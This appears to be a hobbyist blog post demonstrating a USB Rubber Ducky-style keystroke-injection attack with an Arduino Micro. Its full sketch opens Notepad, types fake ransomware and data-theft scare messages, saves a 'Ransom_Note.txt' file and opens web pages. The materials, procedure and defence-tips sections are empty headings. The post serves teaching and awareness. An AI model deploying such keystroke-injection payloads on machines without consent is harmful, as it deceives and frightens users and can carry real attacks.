USB RUBBER DUCKY ATTACK

Disclaimer:

The content provided here is for educational purposes only. The information presented is intended to raise awareness about cybersecurity vulnerabilities and to demonstrate potential attack vectors.

Attempting to execute any of the actions described without proper authorization may violate the law and could result in legal consequences. It is crucial to use this knowledge responsibly and ethically.

Furthermore, it is essential to obtain explicit permission from the owner of the target system before conducting any form of security testing or penetration testing. Unauthorized access to computer systems, networks, or data is illegal and unethical.

The author and publisher of this content do not endorse or condone any illegal or unethical activities. Any actions taken based on the information provided are the sole responsibility of the individual.


In this demonstration, I'll showcase how an Arduino Micro board can be utilized to emulate a USB Rubber Ducky, a type of device commonly used in penetration testing to execute scripted keystroke injections on target systems. USB Rubber Ducky attacks exploit the trust placed in USB devices by computers, allowing attackers to execute pre-programmed commands at a rapid pace, often bypassing traditional security measures. 



Materials Required:

Procedure:



Here are ten tips to help avoid USB Rubber Ducky attacks and similar threats 

By following these tips, individuals and organizations can reduce the risk of falling victim to USB Rubber Ducky attacks and similar threats that exploit USB vulnerabilities.


HERE IS THE CODE

#include <Keyboard.h>


void setup() {

  // Initialize the USB keyboard

  Keyboard.begin();

  delay(2000); // Delay to allow time for the system to recognize the keyboard

 

  // Open Notepad

  Keyboard.print("Opening Notepad to start the attack..."); // Print message

  delay(1000);

  Keyboard.press(KEY_LEFT_GUI); // Press the Windows key

  Keyboard.press('r'); // Press 'r' key to open the Run dialog

  Keyboard.releaseAll(); // Release all keys

  delay(1000); // Delay to wait for the Run dialog to open

  Keyboard.print("notepad"); // Type 'notepad' into the Run dialog

  Keyboard.press(KEY_RETURN); // Press Enter to open Notepad

  Keyboard.releaseAll(); // Release all keys

  delay(1000); // Delay to wait for Notepad to open

 

  // Type "Hello, world!" into Notepad

  Keyboard.print("Your files are being encrypted..."); // Print frightening message

  delay(1000);


 

  // Save the file on the desktop

  Keyboard.print("Saving encrypted file to your desktop..."); // Print message

  delay(1000);

  Keyboard.press(KEY_LEFT_CTRL); // Press Ctrl

  Keyboard.press('s'); // Press 's' key to save the file

  Keyboard.releaseAll(); // Release all keys

  delay(1000); // Delay to wait for Save dialog to open

  Keyboard.print("C:\\Users\\%username%\\Documents\\Ransom_Note.txt"); // Type the path to the OneDrive Documents folder

  Keyboard.press(KEY_RETURN); // Press Enter to save the file

  Keyboard.releaseAll(); // Release all keys

  delay(3000); // Delay to wait for file to be saved


 

  // Open web browser and navigate to https://www.fessleritconsulting.com/hiddenhackerpage

  Keyboard.press(KEY_LEFT_GUI); // Press the Windows key

  Keyboard.press('r'); // Press 'r' key to open the Run dialog

  Keyboard.releaseAll(); // Release all keys

 

  delay(3000); // Delay to wait for the Run dialog to open

 

  Keyboard.print("https://www.fessleritconsulting.com/hiddenhackerpage"); // Type the URL into the Run dialog

  Keyboard.press(KEY_RETURN); // Press Enter to open the web browser

  Keyboard.releaseAll(); // Release all keys

 

  delay(5000); // Delay to allow time for browser to open

 

  // Open web browser and navigate to google.com

  Keyboard.print("Your personal data is being uploaded to the dark web..."); // Print frightening message

  delay(1000);

  Keyboard.press(KEY_LEFT_GUI); // Press the Windows key

  Keyboard.press('r'); // Press 'r' key to open the Run dialog

  Keyboard.releaseAll(); // Release all keys

  delay(1000); // Delay to wait for the Run dialog to open

  Keyboard.print("https://www.google.com"); // Type the URL into the Run dialog

  Keyboard.press(KEY_RETURN); // Press Enter to open the web browser

  Keyboard.releaseAll(); // Release all keys

  delay(2000); // Delay to allow time for browser to open

 

  Keyboard.print("Your computer is being remotely controlled..."); // Print frightening message

}


void loop() {

  // Nothing to do in the loop

}


Donate

If you've enjoyed exploring my Arduino projects and want to see more amazing creations, your support can make a big difference! By contributing, you're helping me continue to innovate and bring even more exciting projects to life. Together, we can explore the endless possibilities of DIY electronics! Don't forget to like, subscribe, and follow for updates on the latest developments. Thank you for being a part of this journey! 

Click here to make a difference with your donation today!